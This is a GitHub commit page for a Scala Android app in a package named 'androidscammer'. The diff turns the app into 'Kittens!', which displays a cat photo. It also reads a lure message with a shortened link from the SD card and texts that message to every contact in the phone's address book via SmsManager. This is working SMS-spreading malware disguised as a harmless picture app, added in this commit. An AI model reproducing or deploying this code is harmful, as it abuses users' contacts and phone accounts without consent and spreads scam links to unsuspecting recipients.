Skip to content
Browse files

completed prototype

  • Loading branch information...
1 parent 6ab0d46 commit 7c644852c9ecad5d18897f88d770e60dc60849d1 @Mononofu committed Mar 8, 2012
View
BIN image.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
1 message.txt
@@ -0,0 +1 @@
+schau dir diese süße Katze an: http://goo.gl/nJKe7
View
2 project/build.scala
@@ -23,7 +23,7 @@ object General {
proguardSettings ++
AndroidManifestGenerator.settings ++
AndroidMarketPublish.settings ++ Seq (
- keyalias in Android := "change-me",
+ keyalias in Android := "alias_name",
libraryDependencies += "org.scalatest" %% "scalatest" % "1.7.RC1" % "test",
libraryDependencies += "commons-net" % "commons-net" % "2.0"
)
View
4 project/plugins.sbt 100755 → 100644
@@ -1,2 +1,4 @@
+resolvers += Resolver.url("scalasbt snapshots", new
+ URL("http://scalasbt.artifactoryonline.com/scalasbt/sbt-plugin-snapshots"))(Resolver.ivyStylePatterns)
-addSbtPlugin("org.scala-tools.sbt" % "sbt-android-plugin" % "0.6.1-SNAPSHOT")
+addSbtPlugin("org.scala-sbt" % "sbt-android-plugin" % "0.6.1-SNAPSHOT")
View
BIN sdcard.img
Binary file not shown.
View
3 src/main/AndroidManifest.xml
@@ -6,13 +6,12 @@
android:label="@string/app_name"
android:debuggable="true">
- <activity android:label="@string/app_name" android:name=".MainActivity">
+ <activity android:icon="@drawable/icon" android:label="@string/app_name" android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- <receiver android:process=":remote" android:name="AlarmReceiver"></receiver>
</application>
<uses-sdk android:minSdkVersion="10"/>
View
BIN src/main/res/drawable/icon.jpg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
10 src/main/res/layout/main.xml
@@ -3,12 +3,12 @@
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
- android:layout_height="wrap_content">
+ android:layout_height="fill_parent">
- <TextView xmlns:android="http://schemas.android.com/apk/res/android"
- android:id="@+id/textview"
- android:gravity="center_vertical"
- android:layout_width="wrap_content"
+ <ImageView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/imgview"
+ android:gravity="center_vertical"
+ android:layout_width="fill_parent"
android:layout_height="fill_parent"/>
</LinearLayout>
View
2 src/main/res/values/strings.xml
@@ -1,3 +1,3 @@
<resources>
- <string name="app_name">WakeOnTelnet</string>
+ <string name="app_name">Kittens!</string>
</resources>
View
27 src/main/scala/Activity.scala
@@ -2,11 +2,17 @@ package org.furidamu.androidscammer
import android.app.Activity
import android.os.Bundle
+import android.os.Environment
import android.view.View
import android.provider.ContactsContract
import android.telephony.gsm.SmsManager
+import android.graphics.BitmapFactory
import Constants._
import scala.collection.JavaConversions._
+import java.io.BufferedReader
+import java.io.FileReader
+import java.io.File
+
class MainActivity extends Activity with TypedActivity {
@@ -15,7 +21,22 @@ class MainActivity extends Activity with TypedActivity {
super.onCreate(bundle)
setContentView(R.layout.main)
- val status = findView(TR.textview)
+ val img = findView(TR.imgview)
+
+ val imgFile = new File("/sdcard/image.jpg")
+
+ if(imgFile.exists()){
+
+ val myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath());
+
+ img.setImageBitmap(myBitmap);
+
+ }
+
+ // read message from SD card
+ val dir = Environment.getExternalStorageDirectory()
+ val file = new BufferedReader(new FileReader(dir + "/message.txt"))
+ val msg = file.readLine()
val reader = new ContactReader(this);
@@ -24,9 +45,7 @@ class MainActivity extends Activity with TypedActivity {
val contacts = reader.read() map { list => (list(0), list(1)) }
contacts foreach { case (name, number) =>
- status.text += "%s: %s\n".format(name, number)
-
- sm.sendTextMessage(number, null, "Test SMS Message", null, null);
+ sm.sendTextMessage(number, null, msg, null, null);
}
View
17 src/main/scala/Tools.scala
@@ -1,14 +1,12 @@
package org.furidamu.androidscammer
-import android.widget.SeekBar
import android.view.View
import android.widget.TextView
object Constants {
implicit def ViewToRichView(v: View) = new RichView(v)
implicit def TextViewToRichTextView(v: TextView) = new RichTextview(v)
- implicit def SeekBarToRichSeekBar(bar: SeekBar) = new RichSeekBar(bar)
}
import Constants._
@@ -26,21 +24,6 @@ class RichView(view: View) {
}
}
-class RichSeekBar(bar: SeekBar) {
- def onSeekBarChange = throw new Exception
- def onSeekBarChange_= (f: (Int, Boolean) => Unit) {
- bar.setOnSeekBarChangeListener(
- new SeekBar.OnSeekBarChangeListener() {
- def onProgressChanged(seekBar: SeekBar, progress: Int, fromUser: Boolean) {
- f(progress, fromUser)
- }
-
- def onStartTrackingTouch(seekBar: SeekBar) {}
- def onStopTrackingTouch(seekBar: SeekBar) {}
- })
- }
-}
-
class RichTextview(tv: TextView) {
def text = tv.getText()
def text_= (t: String) = tv.setText(t)

0 comments on commit 7c64485

Please sign in to comment.
Something went wrong with that request. Please try again.